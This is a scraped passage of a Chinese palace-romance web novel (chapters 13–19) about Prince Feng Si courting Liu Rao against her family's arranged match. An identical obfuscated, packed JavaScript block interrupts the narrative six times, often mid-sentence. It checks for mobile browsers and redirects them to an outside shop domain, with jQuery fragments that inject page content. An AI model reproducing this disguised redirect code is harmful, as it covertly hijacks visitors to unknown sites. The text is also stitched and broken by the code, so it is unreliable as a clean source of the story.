;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058197|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,你很喜欢她。” “一般喜欢。”封肆又稍稍正坐,“对了,你让人在南边多注意些,等螃蟹成熟,多采买些用冰运来,媚儿喜欢吃螃蟹。” 江亦清抵唇轻笑:“一般喜欢。” “原就是一般喜欢。”封肆又道,“你这别院弄得挺好,是哪个匠人弄的?我想将我王府里面装饰装饰,修个秋千和花房。” “你什么喜欢爱上坐秋千了?”江亦清故意道。 封肆瞥人一眼,懒得理会:“若是可以,将整个王府都翻修一遍,我在京郊还有个别院,也都翻修一遍,多种些花草,要蝴蝶兰,再多弄些珍珠帘子。” “不才,这院子正是本人亲自布置的,王爷要是不嫌弃,在下可以给王爷参考参考。” “你若是有空便去看着,我这一阵子实在是忙,没空闲管这些,要花多少银子,你直接跟我府上管事的说,不必计较开销。”封肆也是临时起意,边想边说,正说着,卧房里的侍女轻声走来,他朝人看去,“何事?” 侍女低声道:“柳姑娘请您去帮忙抹花油。” 封肆皱了皱眉:“抹了这么久,还没抹完?” “这个……奴婢也不清楚。” “你去吧。”江亦清道,“那位姑娘今晚要歇在这里吗?需不需要准备什么?” “吃完晚饭,我就送她回去。”封肆抬步往卧房走,刚一进门,娇滴滴的声音就缠来。 “小四,你帮我抹嘛。” 封肆看着她露在外面的白花花的腿,深吸一口气:“你是故意来考验我的吧?” “我就是让你帮我抹个油而已,怎么就是考验你啦?”柳娆双手抓住他的手臂,“你要不就是有事要忙,要不就是一个人泡汤泉,要不就是陪人说话,那我呢?你都不陪我,你根本就不是真心喜欢我的。” “好好,我现在就陪着你,但是你先把衣裳穿好。”封肆挣脱手臂。 “衣裳穿好了,还怎么抹油?”柳娆又抓住他的手,摇来晃去,哼哼着撒娇,“你给我抹嘛,给我抹嘛。” 封肆深吸一口气,扣住她的腰,将她往跟前一带。 13. 第 13 章 她瞳孔一缩,怔怔看着他。 “你……” “你再不穿好衣裳,可就不止抱一下了。” “那也得给我抹完再穿呀。” 封肆无奈扶额:“我真是……” 柳娆眨眨眼,又抓住他的手臂:“你给我抹嘛,抹完我们出去玩。” 他缓缓吐出一口浊气,认命将那什么花油倒在掌心里,轻轻搓搓,往她腿上抹。 “哇。”柳娆眼睛一亮,“小四,你真聪明,第一次给我抹就知道要搓热了再抹。” 封肆看她一眼,默默抹油。 这什么花油跟膏子差不多,加了油脂,在皮肤上一抹看着亮晶晶的,她的肌肤本就是细嫩白皙,抹上花油更是那白得反光,再加上那淡淡的茉莉清香,简直让人闻之欲醉。 封肆强忍着冲动,快速抹药,转身好一阵平复:“好了,将衣裳穿好。” 柳娆看他片刻,从身后抱住他,压在他的背上,温热的气息肆意往他脸上涌:“你生气啦?就是让你给我抹个油而已,你怎么就生气啦?你一点儿都不喜欢我,你要是喜欢我……唔!” “嘭!”柳娆被按倒在褥子里,手被钳在头顶,喋喋不休的嘴被堵住,只能眨巴眨巴眼,示意人松手。 封肆捂住她的眼睛,灼热滚烫的气息将她包裹,亮堂的卧房瞬间暗下来。 她眼眸又动动,柔软的睫毛在他掌心中轻扫,口齿微动,想要开口说话,却被堵得更加严严实实,连呼吸也不能,她慌忙眨眼,用眼睫不停戳他手心,示意他松口。 封肆挪开手掌,笑着看她:“你总眨眼做什么?” 她深吸好几口气,气道:“我要喘不过气啦!” 封肆抵着她的额头轻笑:“说了让你将衣裳穿好,你自己不听的。” 她不满道:“你的膝盖顶着我了。” 封肆抱着转身,支着头斜卧着看去,含笑道:“不是膝盖。” “噢!反正你顶着我了。” “生气了?” “你亲得太用力,我都差点被你亲死了。”柳娆气得要转过身去。 封肆将她搂回来,笑道:“那我让你亲回来。” 她眼一圆,清了清嗓子,一本正经道:“那你把嘴巴张开。” 封肆笑得胸腔微颤,薄唇微启:“来吧。” 柳娆一口将他的薄唇全包住,吧唧吧唧品尝两口,没尝出什么味来,又学着他那样撬开他的嘴,勾住他的舌尖,忽然蹦出一句:“你背着我吃樱桃了?” 封肆笑得腰都直不起来:“能不能别在亲吻的时候说这么莫名其妙的话?” “可你嘴里就是有一股樱桃味儿啊?我也想吃樱桃。”柳娆晃晃他,“你背着我偷偷好吃的,不给我吃,你不爱我。” “午膳后用了道甜点,似乎是樱桃做的,你想吃让这里的侍女给你做就是,我都说了你要什么都可以,哪里会背着你吃独食?”封肆刮刮她的鼻尖,“以后亲嘴的时候不许说这些扫兴的话。” “我没扫兴。”她双臂缠住他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058198|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脖颈,一口咬住他的下唇,认真道,“我发现了,你的下嘴唇比上嘴唇好亲,软软的,滑滑的。” 她吸得咂咂作响,突然兴致大发,越吸越用力,“嘶——”封肆倒吸一口冷气,仰头躲开。 “你躲什么?”她睁开眼,捉住他的脸,将他按回来,“你不要扫兴。” 封肆无奈:“再吸下去不能见人了。” 柳娆看一眼他红肿的唇,嘿嘿一笑,轻轻给他吹吹:“我也不知道怎么回事,亲着亲着就想给你咬下来。” 他额角一抽:“再咬我可咬回去了,以后不许咬人,知道吗?” “噢。”柳娆亲亲他的嘴角。 他轻轻搂着她的腰:“我打算让人翻修王府,你要的秋千架子和花房都会修建,你还想要什么便告诉我,我让人去修整。” “真的?”柳娆双眼放光,笑着捉住他的耳朵,在他嘴上啵啵亲了好几口,“小四,你真好。” “还想要什么?” “嗯……”她眼珠子转动一圈,“我说不清楚,等我回去画下来给你。” “也好。”封肆拍拍她,“油抹好了,出去吧。” 她顶着乱糟糟的头发猛得坐起,一脸严肃:“不行,脚上还没抹呢。” 封肆眼前一黑,连忙道:“天不早了,还得收拾妆容,还得吃晚饭,这什么油你就留着回去再抹啊,省得来不及了。” “你可以在侍女给我梳头的时候抹。” 封肆看着她,她看着封肆,封肆妥协。 14. 第 14 章 梳妆台前,侍女伺候梳头,封肆坐在她对面,化开掌心的油往她脚上抹。 “这样的事以后还是让侍女来吧,我平时很忙,今日是例外,往后没有这样的空闲。” “指缝里也要抹。” 封肆提起一口气,又道:“王府里的侍女不多,等你嫁过来,我会让管事再多招一些侍女……” 柳娆凑过去,停在他鼻尖前,轻声道:“可是我就是想让你给我抹嘛。” 他皱了皱眉。 柳娆歪着脑袋,一脸不解:“你不觉得给我抹油很有意思吗?” “呃……” “我们可以说话,可以闲聊,多好啊。” “可是我平时真的很忙。” “那就等你忙的时候再说,反正你今天不忙。”柳娆双臂往他肩上一搭,“你是不是不愿意?为什么呢?我要是喜欢一个人,她让我为她做这些,我肯定会高兴的,你不高兴吗?” 他无奈应和:“高兴高兴,我没说我不愿意,我是说,如果我以后很忙,就不能帮你抹……” “不不不。”柳娆闭着眼,一本正经摇头,食指也跟着晃晃,“不是帮我,是帮你。你喜欢我,能和我亲近,你应该感到高兴,能为我做些什么,你应该很高兴,总归,你应该很高兴。” 封肆脑子转动几圈,将里面缠着的毛线解开,无奈低笑:“好吧,我高兴。” “这才对嘛。”柳娆在他脸上亲了好几口,“你要是需要抹油,我也可以给你抹的。” “我不抹这些油滋滋的东西。”封肆笑着推推她,将花油罐子收好,清洗双手,又道,“你将来时的衣裳换上,用完晚膳我送你回去。” 她一下正襟危坐:“那我身上的新衣裳呢?” 封肆笑着瞥她:“你要是喜欢,我带回京城,你放心,我总不会穿你的。” “那我就放心啦。”她蹦跳着朝他跑来,又黏在他身旁。 “吃饭去?”封肆搂着她往外走。 那两条鱼已经处理好,封肆往她碗里夹一块,她连鱼带碗一起推回去:“有小刺。” 封肆叹息一声,将不多的小刺剃干净,又推回去:“吃吧。” “夫君,你真好。”柳娆笑眯眯在他脸上亲一口,尝一块鲜嫩的鱼肉,眼睛立即亮起来,“真好吃。” “怎么做什么都这么新奇?” “可是就是很好吃啊。” 封肆看着她,心底不觉也松快起来:“好吃就多吃些,你喜欢吃这里的点心,要不要带一些回去?” 她小鸡啄米似地连连点头:“好哇好哇。” 封肆盯着侍女将点心、花油打包好,便支着头坐在一旁盯着她看。 她真是活力四射,对什么都新奇得不得了,同一盘菜都能吃出不同的乐趣来,好似一盘菜里有两种不同的口味一般。 封肆好奇,拿起放下已久的玉著,夹起两片菜叶尝了尝,眉头皱了皱:好像没什么特别的? 柳娆疑惑打量他两眼:“你在干嘛?” “我想尝尝这一盘菜里是不是有几种不同的口味。” “一盘菜是一锅煮的,怎么会有不同的味道呢?小四,你怎么呆呆的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058199|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了好了,你吃你的,吃完我送你回去。” “我吃好了。”她噌一下站起,将唇擦净,对着侍女举来的铜镜,擦一层厚厚的亮晶晶的润唇油,兴致勃勃抬头,“当当当~好了!” 封肆低笑,揽着她的肩往外走。 她仰头看着他:“好看吗?” “好看。” “有多好看?” 封肆好像有点摸清她的脾气了,佯装端详片刻,认真道:“像槐花蜜一样好看。” 她果然笑逐颜开:“不愧是我。” 封肆低笑着将她抱上马,给她戴好帷帽,打马前行:“等回京了我就去找你?” “好啊,你得快点想办法提亲噢,我祖母说了等我回京就要让我见林家公子,你再不想办法可就没机会了。” “知道了,抱紧我,要快马前行了。” 马咻一下飞出去,柳娆的笑声也咻一下飞出去,封肆低声提醒:“就快到城门了,别喊了。” 她喊得更大声了:“什么?风声太大,我听不见——” 封肆沉默,默默给自己也戴上一顶帷帽。 行至城门,人渐多起来,有人拦上来:“媚儿!媚儿!” 封肆勒住缰绳,对上柳珣的视线,拍拍跟前的人:“别傻乐了,你三哥来接你了。” 柳娆脑袋转动大半圈,终于瞧见地上的人,扑腾着下马,朝人奔去:“三哥!” 柳珣笑不出来,抬头看向马背上的男人:“小妹早有婚约,如此这般,传出去对小妹名声有损,请王爷不要再做纠缠。” 15. 第 15 章 封肆看都没看他一眼,对柳娆留下一句“京城见”,转头扬长而去。 柳娆踮着脚遥遥望着,好半晌才依依不舍收回眼眸,老成持重地叹了口气,步履沉重地往城中去:“走吧。” “你叹什么气?我才要叹气!”柳珣大步跟上,喋喋不休教训,“你一个下午没回来,我都吓坏了,生怕你出什么事,你倒好,跟没事人一样!” “不是让纤云带话回去了吗?三哥,你别怕,我这不是没事吗?”她拍拍三哥的肩。 柳珣气得捉住她的手:“我跟你说过多少回?那个宁王不是什么好人,他手底下的人命简直数不清,你怎么就不听话呢?” “可是他对我很好啊。”她停步,举起手中的糕点,一脸委屈,“三哥,我给你带了点心回来,特别好吃,你尝尝,不要凶我了,好不好?” 柳珣火气被浇灭,唉声叹气:“媚儿,三哥没有凶你……” 柳娆立即拿出一块糕点塞到他嘴里:“三哥尝尝。” 他有再多的话,看着这张无辜的小脸,也说不出来了,只问:“你今天去都做了什么?” “吃了点心,泡了汤泉。”柳娆说着,忽然含羞一笑,扭捏道,“还亲了嘴。” 柳珣眼前一黑:“不要告诉祖母和娘,我骗她们你在歇息,一会你随我从后门回舅爷家,回去后,你就在卧房老老实实休息,哪里也不许去了。” “噢。” “上车吧。” 她钻进车门中,没精打采,蔫儿巴了一样,耷拉着脑袋,眉毛眼睛嘴巴都垂着。 柳珣看她片刻,无奈问:“你就那么喜欢他?” 她轻轻点头。 柳珣又叹息一声,揉揉她的脑袋,轻声道:“回去吧。” 天色微暗,柳娆从后门溜进去,一路溜到自己的屋子,推开门,往里看一眼,蹑手蹑脚钻进去,踢飞绣鞋,要往被子里躺。 “媚儿。”母亲陈夫人的声音突然出现。 她吓得一抖,慌忙坐起,手肘撞在架子床上,疼得连连吸气。 陈夫人在床边坐下,握住她的手臂给她揉揉,轻声道:“去哪里了?这个时候才回来?你祖母年龄大了,受不得你这般惊吓。” 她咬咬唇:“我……” 母亲握紧她的手:“不许撒谎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058200|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 她看母亲一眼,低着头道:“我去见封肆了。” “宁王?他怎么会在这里?他又来找你了?祖母不是跟你说过,不许你跟宁王往来的,你都记到哪里去了?” “可是我喜欢他呀。” “你喜欢什么?无非是人家给你买了些吃的喝的。” 她瘪了瘪嘴,委屈道:“我怎么不能喜欢了?我不要嫁给林家公子,我就要嫁给封肆。” “媚儿,你和林家公子已经有婚约了,你怎么能这样呢?若是传出去,旁人会说你的。”陈夫人将她搂进怀里,“听话好吗?你从前最听娘的话了。你告诉娘,你收了他多少东西,娘帮你退回去。” “我不要!”她大喊一声。 “他给你的你可以留着,娘会折算成银子还回去,不从你这里拿,听话,告诉娘,他到底给了你多少东西?” 她瘪着嘴,看着母亲认真严肃的眼神,眼泪吧嗒吧嗒往下掉,从前这一招很管用的,但这一回,母亲静静看着她,一点动容的迹象都没有。 “说,他给了多少?” 她“哇”一声,真情实感,嚎啕大哭。 16. 第 16 章 “媚儿?”柳珣惊慌闯进门,瞧见床边坐着的母亲,又急急刹住,镇定行礼,“娘。” “你不说,那就让你三哥说。”陈夫人板着脸,“老三,是你接媚儿回来的,她和宁王之间的事,你最清楚,你说,媚儿收了宁王多少东西?” 柳珣开口就要辩解:“娘……” 陈夫人当即打断:“你不要给我顾左右而言他,你不说,我就将你们做的好事告诉你们祖母和父亲。” “娘!”柳珣急急跑来,“宁王喜欢媚儿,心甘情愿给她的,娘何必非要她还呢?” “我不让她还,我来还。” 柳珣顿了顿,看柳娆一眼,低声恳求:“娘,媚儿是真心喜欢宁王的……” “她不懂事,你也不懂事吗?你不知道宁王是什么人吗?他为助陛下夺嫡,陷害了多少人?杀了多少人?媚儿不能和这样心机深重的人在一起!” “娘,自古夺嫡向来如此,他不这样做,今日死的就是他,他对媚儿挺好的,媚儿是心思简单,可不傻,知道谁是真的对她好。” 柳娆看他一眼,又看向母亲,连连点头:“对,封肆对我很好的,娘,你跟祖母和父亲说,让我嫁给封肆好不好?” 陈夫人一阵头疼:“你们不说,我也能算出来个大概,我这就让人将银子还回去,以后我的贴身侍女会日日盯着你,你别想再去见他。” 柳娆看着母亲的背影,又抽抽搭搭哭起来。 柳珣拍拍她的背,轻声哄:“我早就跟你说了,不要再和他往来,你不信,这下好了。” “呜呜呜……”她哭得更伤心了。 “你真这么喜欢他?”柳珣扶起她的肩,“媚儿,你看着三哥,回答三哥,你是真喜欢他,还是喜欢他给你花银子?他要是不是王爷了,要是没这么有钱了,你还喜欢他吗?” 她微愣,泪珠挂在脸上。 柳珣无奈低笑,轻轻抹去她的眼泪:“傻媚儿,你对他根本算不上什么喜欢,听祖母和娘的话,安心和林家公子成亲吧。” “那你说,什么才叫真的喜欢?” “就是有一日,他无权无势,买不起金银首饰,吃不起山珍海味,你们只能荆钗布裙,粗茶淡饭,你还是喜欢他。” “你……你这不是为难我嘛?”她小声嘀咕。 柳珣弯唇道:“那你就乖乖听家里的话,准备和林家小公子成亲。” “噢。”她垂头丧气道。 她一时找不到反驳的话,按照三哥这样说,那她肯定没有多喜欢封肆,可她和封肆在一起又挺开心的,至于林家的公子,她见都没见过,就不用说什么喜欢不喜欢了。 母亲似乎真的将银子还给封肆了,自在雍城见过一面,她再也没有见过封肆,回到京城后,新来的侍女日日盯着她,更是没有机会得见。 “又在愁什么呢?你整日吃了睡睡了吃的,还能有什么烦恼?”柳瑜笑意打趣。 柳娆瞥他一眼,拨弄着花丛,兴致缺缺:“噢。” 他漫步走近:“噢什么噢?这几日怎么没见你骚扰你三哥?怎么?感情淡了?” 柳娆转身,背对着他,没好气道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058201|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别跟我说话,我没心情说话。” “谁又惹你了?” 她没回答。 柳瑜斜倚在旁边的假山石上:“让我猜猜?你是在为成亲的事苦恼?” 她眼眸一抬,惊奇道:“你怎么知道的?” 柳瑜仰头感慨:“当然是你三哥跟我说的,没想到啊,我们这一向只顾吃喝玩乐的小妹也会为情所困了。” “我才没有为情所困呢。”柳娆摘一片花瓣,重重扔在泥土里,“我只是在想明天要见林家公子的事。” “你不是在想宁王?” 她眼眸又一抬,却很快垂下,小声嘟囔:“才没有呢。” 柳瑜低头看她:“真没有?我还说,我就这一个小妹,她的婚姻大事,我自然是向着她的。” “真的?”柳娆当即上钩,“二哥,你去宁王府帮我问问他什么时候来提亲好不好?我过两天就要见林家的公子了,他再不来就来不及了。” 柳瑜扬唇:“好,我明天就帮你问,不过你们总有什么信物吧?不然我恐怕连王府大门都进不去。” 柳娆急急解释:“不会的,你只要说是媚儿的兄长,他肯定不会不让你进的。” “这么自信?你们到哪一步了?” “什么叫到哪一步?”柳娆皱着眉头思索片刻,恍然大悟,“我觉得我们已经到了可以住在一起的地步了。” 柳瑜眉头一紧。 “他说他要翻修王府,要给我扎秋千建花房,还问我有没有其它要修建的,我觉得等他建好,我就能过去住了。” 17. 第 17 章 “没有就好,没有就好。”柳瑜长松一口气,他还以为小妹已经和宁王有夫妻之实了,若是如此,这些承诺大抵都不会作数,既然没有,那就还是有机会的。 柳娆看着他,疑惑不解:“什么没有?” 柳瑜拍拍小妹的肩:“没什么,去玩吧,不必忧心了,我明日便去王府替你传话。” 柳娆扬颜,双手抓住他的手,开怀道:“二哥,你真好,你简直就是天底下最好的人,谢谢你!” 他轻笑一声:“行了,不用恭维我,骚扰你三哥去,我还有事要忙。” “那二哥慢慢忙,我先走啦。”柳娆摆摆手,转头蹦蹦跳跳离开。 她不信封肆是故意不来,肯定是被什么事绊住了,只要二哥去告诉他,他肯定立即就会来的,说不定明天就会来。 这样一来,她就不用担忧要见林家公子的事了。 隔日,她蹲在垂花门前守着,见柳瑜回来,立即起身飞奔去迎:“二哥二哥!” 柳瑜缩着脖子瞥她一眼:“这么热情?” 她大惊失色:“你昨天答应我的事,你忘啦?” “哦,你说那件事啊?”柳瑜不紧不慢往前走,“我去过了,府上的管事说他还未回京。” “还未回京?!”她惊叫一声。 柳瑜拍拍她的脑袋,紧皱着眉头教训:“别大呼小叫的,吵得人耳朵疼。” 她焦急抱怨:“可是后天我就要见林家公子了呀!” “你慌什么?只是见一面,又不是明天就要成亲进洞房了,见就见呗。” “可万一我要是忍不住爱上林家公子了怎么办?” “嗯?”柳瑜一脸迷惑。 她一本正经,头头是道:“你看,我这么完美,林家公子很有可能对我一见钟情,而我又这么善良,他对我一见钟情对我好,我就忍不住也对他好,然后他对我更好,我对他更好,我就爱上他了。” 柳瑜嘴角一抽:“这都是什么跟什么?真搞不懂宁王是怎么看上你的,他不会真的对你这些牛头不对马嘴的话有兴致吧?” 柳娆跳着要打他:“你少看不起我!” 他一顿,拍拍她的肩:“对了,你可别让他太快得逞,能轻易得到的,大多数人都不会珍惜的。” 柳娆疑惑眨眼:“什么意思?” “就是说,你不能太快和他有肌肤之亲,当然也不能拒绝得太明显,你得欲拒还迎,知道吗?” “什么叫欲拒还迎?” 柳瑜看着她那清澈到近乎呆滞的双眼,忍不住扶额:“欲拒还迎就是……算了算了,他可能就是喜欢你这副呆样吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058202|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别改了,你从前是什么样就是什么样。” 她气得一跺脚:“你才呆!” 柳瑜不在意,扶着她的头叮嘱:“但是有一点你记住,没成亲前不许跟他有肌肤之亲,知道吗?” 她一脸忧郁:“啊?可我已经和他亲嘴了。” “亲嘴不算,我说的是……”柳瑜思忖一番,郑重道,“我说的是不能让他玩弄你的身体,明白吗?” 她似懂非懂,茫然点头:“我知道了。” 柳瑜拍拍她的肩:“好了,去吧,他过两天应该就回来了,到时我再去找他。” 她严肃着一张小脸,回想先前与封肆相处的画面,似乎没有二哥说的那样,她稍稍放心一些,继续松快玩耍。 过两日,小侄子的生辰宴,家中邀请了些亲眷来庆贺,林家也在受邀之列。 她早知道林家的小公子会来,心生好奇,一早就在花园附近张望,正是仲春,湖草繁茂,宴会正办在花园里。 晌午,已来了不少人,没多久,侍女传报林家人到,她立即伸着脖子张望。 林家来的是林家的大哥和大嫂,那位小公子就跟在自家大嫂旁边,瞧着文文弱弱的,和三哥差不多,应该是个读书人,和封肆完全不一样。封肆虽不算壮硕,但身形颀长,手臂上的肌肉可结实了。 18. 第 18 章 “在看林家的小公子?”大嫂忽然从后面冒出。 柳娆惊得一抖,尴尬笑几声:“大嫂嫂。” 大嫂笑着摸摸她的头,轻声道:“要不要嫂嫂将林家的小公子约来,你们单独说说话?” 她有些犹豫。 “见一见也没什么,祖母和母亲不会怪你,你都要和他成亲了,是该提前熟悉熟悉。” “哦。”她耷拉着脑袋,点点头。 大嫂朝侍女吩咐几声,引她去了水池边,不多时,林家的小公子也被侍女引来,两人面面相对,许久没说话。 一阵微风拂来,柳娆垂了垂眼,先开口:“你叫什么?” “林赋。” “富?御史老……你爹这么爱财啊?” 少年腼腆而笑:“不是财富的富,是天赋的赋。” “噢噢。”柳娆点着头走近,“我家里人说,我们两个早就有婚约,你知道这事儿吗?” “嗯,我爹跟我说过的。” “那你今天见过我了,你觉得你喜欢我吗?” 少年低头,害羞不敢看她。 她弯着腰,歪着头看他:“你抬头看我呀,你要是不看我,怎么知道喜不喜欢我呢?或许我长得不是你喜欢的那样呢。” 少年羞得更是动也不敢动:“柳姑娘生得很美。” “唉。”柳娆苦恼地看着天,“那你想和我成亲吗?” 少年害羞看她一眼,又飞速垂眸,点点头:“嗯。” 她凑过去,看着他:“你喜欢我?” 温热的气息喷洒在少年脸上,他脸红得更厉害了,结结巴巴道:“是、是……” “你怎么说话还结巴呀?”柳娆皱着眉,凑得更近了。 “你这个狐狸精!你离我哥哥远些!”突然,一道尖锐的女声传来。 柳娆抬眸朝人看去,还没看清楚发生了何事,那个与她年龄相仿的女孩子突然冲过来,一把推开她,张开双臂护在林赋跟前。 她没有预料,后退几步,勉强站稳,恼怒质问:“你干什么!” 林赋慌忙道:“对不起对不起,这是我妹妹,她不是故意的。” “哥!你不要说话!”女孩撸撸袖子,插着腰,朝她走近两步,“你这个不要脸的狐狸精!勾搭完宁王还不够,还要勾引我哥哥!” “我……”柳娆被骂懵了。 “你别以为旁人不知道,整个京城都快传遍了,你赖在宁王府门前又哭又闹,主动献吻勾引宁王殿下,现在还恬不知耻地不承认,又来勾搭我哥哥!” 柳娆深吸一口气,叉着腰骂回去:“我没有勾引他,是他先喜欢我的!你少胡说八道!” “就是你勾引,都有人看见了,你亲了宁王!” “是他先喜欢我的!” “他怎么可能喜欢你?” “他怎么不可能喜欢我?我这么美丽漂亮大方,喜欢上我只是人之常情罢了!” 林家小妹顿住,随即捧腹大笑。 柳娆被这笑声刺伤,大吼问:“你笑什么?” “我笑哈哈哈哈哈……”林家小妹笑得更夸张了。 “你敢嘲笑我?难道我不美丽漂亮大方吗?你这个没有眼光的人!” 柳娆冲上去,林家小妹冲过来,两人扭打在一起。 花园中宴席正热闹,临近午时,邀请的客人陆陆续续抵达,主人在府门接待,两三人聚在一起闲聊,和乐融融。 封肆骑马从柳府门前过,忍不住多看一眼,朝随从问:“柳府似乎挺热闹的?” 随从上前低声答:“似乎是柳尚书的长孙生辰。柳尚书停职在府许多日了,门庭冷清不少,来往的也没有多少人。” “去买一份礼来。”封肆跨下马,抬步朝柳府门前走,不等门口管事问话,他举起玉牌,“宁王封肆,来给柳尚书长孙庆生。” 管事一愣,正要开口,又被打断。 “将我的马拴在门口就行。”封肆将缰绳交出去,大步跨入府门,随口朝侍女问,“媚儿在何处?” 侍女环视一圈,未能寻到主家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058203|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能先应付他:“回王爷,四小姐正在花园。” “带路。” “是。”侍女硬着头皮引路。 水池旁,柳娆正和林家小姐打得难舍难分,又抓头发又抓衣领,侍女们劝架,同龄人来凑热闹,没一个敢向主人家和长辈告状的,这等场面,莫说是高门大户了,就连小门小户里也不常见。 林家小姐最后一句“不知廉耻的坏女人”,彻底将柳娆惹怒,柳娆抓着她的头发,用头狠狠往前一撞。 柳娆的下唇磕在林家小姐的牙齿上,林家小姐的上唇磕在柳娆的人中上,两人都是疼得龇牙咧嘴,眼冒金星,嚎啕大哭,终于分开。 封肆远远便听见哭声,皱着眉快步走来,一把抓住柳娆的手臂,低头问:“怎么了?” 她顶着红肿的下唇转头看去,满眼惊讶。 封肆捏着她的下颌左右看看:“你这是在搞什么?怎么弄成这副样子了?” 她一想便觉得委屈,眼泪唰地往下掉,指着林家小姐哭嚎道:“她说我勾引你!说我是个不知廉耻的坏女人,我不是坏女人呜呜呜呜……” 众人立即猜测出封肆的身份,慌忙跪地行礼:“拜见宁王殿下。” 封肆只看着她,见她底气十足,确认她没什么大碍,笑着道:“不至于,你最多是个顽皮的女孩。” 她气得搡他:“你笑什么,你赶紧跟他们说,我没有勾引你,是你先喜欢我的!” 封肆拍拍她的肩,朝人群走近两步:“都起来吧。” 众人这才谢恩起身,皆垂眸不敢直视。 “媚儿说得没错,是本王先喜欢媚儿的,本王见她第一眼就被她折服了,不存在她勾引本王。” 林家小姐低着头,不服气小声反驳:“她已经有婚约了,再和旁的男人卿卿我我,就是不知廉耻!” 封肆搂着柳娆的肩,不紧不慢道:“她是有婚约,不是签了卖身契,有旁的男人追求她再正常不过。是本王追求她,纠缠她,若是非得说谁不知廉耻,那就是本王不知廉耻。” 19. 第 19 章 当场鸦雀无声。 封肆搂着人转头就走,直走到一处无人的庭院前缓步停住,将人按在石头上坐下,捏起她的下巴:“我看看。” 侍女轻声将药膏呈上:“王爷,这是先前跌撞时用的药膏,应该也可以治愈小姐唇上的伤。” 封肆接过,轻轻嗅嗅,确认没有问题后,挖出一坨轻轻敷在她唇下:“疼不疼?” 她瘪着嘴,嚎:“疼……” 封肆又心疼又觉得好笑:“你们小姑娘打架也这么凶悍的吗?” “那怎么啦?是她先骂我的!” “好好,我知道是她先骂你的,我方才不是按照你的指示解释过了吗?” “你……”她吸吸鼻子,委屈道,“你不是不在京城吗?怎么又突然来了?我还以为你生气了,不来提亲了。” 